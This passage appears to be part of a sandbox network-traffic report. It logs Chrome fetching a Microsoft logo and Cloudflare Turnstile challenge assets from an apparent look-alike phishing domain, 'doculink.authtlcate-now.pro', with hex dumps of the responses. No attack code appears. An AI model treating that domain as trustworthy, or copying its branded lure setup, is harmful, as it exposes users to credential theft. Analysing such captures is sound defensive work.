7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49767	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:36 UTC	419	OUT	GET /captcha/logo.svg HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa
2024-04-25 13:30:37 UTC	765	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:47 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1610 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ek3Je0Xea%2BFiyfR7ipFcpEC4K5kcasCN%2FYQUrPlqra1ttJ8sZQDELMnKiy0b3rOv89ooNgkG1s7e9fIp6xes5aiY0WIlYGiiD71yE7cY48HnRHNqTxtvYkz9G%2FVFOWVPPNM97bMcjfT0t0iSWcA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb04d8e5cb04a-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:37 UTC	604	IN	Data Raw: 63 38 32 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 77 69 64 74 68 3d 22 39 39 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 0d 0a 64 3d 22 6d 33 34 2e 36 34 20 31 32 2e 30 37 2d 2e 35 38 20 31 2e 36 35 68 2d 2e 30 34 63 2d 2e 31 2d 2e 33 39 2d 2e 32 38 2d 2e 39 33 2d 2e 35 36 2d 31 2e 36 33 6c 2d 33 2e 31 34 2d 37 2e 39 68 2d 33 2e 30 38 76 31 32 2e 35 36 68 32 2e 30 33 56 39 2e 30 33 6c 2d 2e 30 33 2d 31 2e 37 63 2d 2e 30 31 2d 2e 33 34 2d 2e 30 35 2d 2e 36 2d 2e 30 Data Ascii: c82<svg id="MSLogo" width="99" height="22" xmlns="http://www.w3.org/2000/svg"><g fill="none" fill-rule="evenodd"><path fill="#737474"d="m34.64 12.07-.58 1.65h-.04c-.1-.39-.28-.93-.56-1.63l-3.14-7.9h-3.08v12.56h2.03V9.03l-.03-1.7c-.01-.34-.05-.6-.0
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 2e 38 36 20 30 2d 2e 33 34 2d 2e 31 33 2d 2e 36 34 2d 2e 33 37 2d 2e 38 38 61 31 2e 32 36 20 31 2e 32 36 20 30 20 30 20 30 2d 2e 39 32 2d 2e 33 36 6d 38 2e 35 33 20 33 2e 37 33 61 35 2e 39 20 35 2e 39 20 30 20 30 20 30 2d 31 2e 31 39 2d 2e 31 32 63 2d 2e 39 37 20 30 2d 31 2e 38 33 2e 32 2d 32 2e 35 37 2e 36 32 2d 2e 37 34 2e 34 2d 31 2e 33 20 31 2d 31 2e 37 20 31 2e 37 34 61 35 2e 35 37 20 35 2e 35 37 20 30 20 30 20 30 2d 2e 30 31 20 34 2e 39 63 2e 33 37 2e 37 2e 39 20 31 2e 32 33 20 31 2e 35 38 20 31 2e 36 2e 36 37 2e 33 38 20 31 2e 34 35 2e 35 37 20 32 2e 33 31 2e 35 37 20 31 2e 30 31 20 30 20 31 2e 38 37 2d 2e 32 20 32 2e 35 36 2d 2e 36 6c 2e 30 33 2d 2e 30 32 76 2d 31 2e 39 34 6c 2d 2e 31 2e 30 37 63 2d 2e 33 2e 32 33 2d 2e 36 35 2e 34 2d 31 2e 30 33 Data Ascii: .86 0-.34-.13-.64-.37-.88a1.26 1.26 0 0 0-.92-.36m8.53 3.73a5.9 5.9 0 0 0-1.19-.12c-.97 0-1.83.2-2.57.62-.74.4-1.3 1-1.7 1.74a5.57 5.57 0 0 0-.01 4.9c.37.7.9 1.23 1.58 1.6.67.38 1.45.57 2.31.57 1.01 0 1.87-.2 2.56-.6l.03-.02v-1.94l-.1.07c-.3.23-.65.4-1.03
2024-04-25 13:30:37 UTC	1236	IN	Data Raw: 20 33 2e 38 20 30 20 30 20 31 2d 31 2e 31 37 2d 2e 32 20 34 2e 34 32 20 34 2e 34 32 20 30 20 30 20 31 2d 31 2e 32 2d 2e 36 32 6c 2d 2e 31 2d 2e 30 36 76 32 2e 30 36 6c 2e 30 34 2e 30 32 61 36 2e 30 32 20 36 2e 30 32 20 30 20 30 20 30 20 32 2e 33 35 2e 35 63 31 2e 31 2d 2e 30 31 20 31 2e 39 38 2d 2e 32 37 20 32 2e 36 32 2d 2e 37 38 2e 36 35 2d 2e 35 32 2e 39 38 2d 31 2e 32 2e 39 38 2d 32 2e 30 35 20 30 2d 2e 36 2d 2e 31 38 2d 31 2e 31 32 2d 2e 35 33 2d 31 2e 35 34 2d 2e 33 34 2d 2e 34 32 2d 2e 39 34 2d 2e 38 2d 31 2e 37 38 2d 31 2e 31 34 6d 39 2e 36 38 20 33 63 2d 2e 34 2e 35 2d 31 20 2e 37 35 2d 31 2e 37 38 2e 37 35 2d 2e 37 37 20 30 2d 31 2e 33 39 2d 2e 32 36 2d 31 2e 38 32 2d 2e 37 37 61 33 2e 32 35 20 33 2e 32 35 20 30 20 30 20 31 2d 2e 36 35 2d 32 2e Data Ascii: 3.8 0 0 1-1.17-.2 4.42 4.42 0 0 1-1.2-.62l-.1-.06v2.06l.04.02a6.02 6.02 0 0 0 2.35.5c1.1-.01 1.98-.27 2.62-.78.65-.52.98-1.2.98-2.05 0-.6-.18-1.12-.53-1.54-.34-.42-.94-.8-1.78-1.14m9.68 3c-.4.5-1 .75-1.78.75-.77 0-1.39-.26-1.82-.77a3.25 3.25 0 0 1-.65-2.
2024-04-25 13:30:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49768	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:37 UTC	800	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:37 UTC	1347	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close referrer-policy: same-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin document-policy: js-profiling
2024-04-25 13:30:37 UTC	131	IN	Data Raw: 6f 72 69 67 69 6e 2d 61 67 65 6e 74 2d 63 6c 75 73 74 65 72 3a 20 3f 31 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 65 62 30 35 31 36 38 38 63 36 37 36 39 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: origin-agent-cluster: ?1vary: accept-encodingServer: cloudflareCF-RAY: 879eb051688c6769-ATLalt-svc: h3=":443"; ma=86400
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 36 31 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 61d0<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .th
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 Data Ascii: r: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overla
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 Data Ascii: ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:focus ~ span.ctp-label { tex
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a Data Ascii: pacer { margin-right: 3px; margin-left: 3px;}.size-compact .ctp-checkbox-container { text-align: left;}.size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px;}.size-compact .cb-container { margin-top: 3px; margin-left:
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 72 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 63 6f 6e 2c 0a 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 36 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: r-icon { left: 255px; margin-left: 8px;}.rtl #timeout-icon,.rtl #expired-icon { left: 255px; margin-left: 8px;}.rtl #branding { margin: 0 0 0 16px; padding-right: 0; padding-left: 0; width: 90px; text-align: center;}.rtl .size-com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49769	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:37 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879eb051688c6769 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:38 UTC	358	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:38 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 879eb054caa28bb8-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:38 UTC	129	IN	Data Raw: 37 62 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4d 2c 66 51 2c 66 52 2c 66 56 2c 66 57 2c 66 5a 2c 67 30 2c 67 74 2c 67 75 2c 67 79 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 0d 0a Data Ascii: 7bwindow._cf_chl_opt.uaO=false;~function(ix,fE,fF,fM,fQ,fR,fV,fW,fZ,g0,gt,gu,gy,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,
